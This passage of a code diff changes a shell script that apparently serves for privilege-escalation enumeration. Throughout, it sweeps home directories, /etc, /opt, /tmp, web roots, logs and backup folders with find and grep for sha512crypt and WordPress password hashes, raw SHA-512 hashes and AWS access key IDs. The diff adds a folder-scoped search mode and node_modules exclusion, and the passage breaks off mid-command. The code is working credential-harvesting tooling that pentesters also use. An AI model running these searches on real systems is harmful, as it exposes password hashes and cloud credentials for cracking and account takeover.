"s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & +print_3title_no_nl "Searching sha512crypt (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Wordpress (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$P\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & +print_3title_no_nl "Searching Wordpress (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$P\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching Raw Hashes" -print_3title "Searching sha512 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)~${SED_RED}~" & +print_3title_no_nl "Searching sha512 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching APIs" -print_3title "Searching AWS Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}~${SED_RED}~" & +print_3title_no_nl "Searching AWS Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" '{}' \; 2>/dev/null | grep -Ev ":#|:<\!\-\-" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching AWS MWS Key (limited to 50)" -timeout 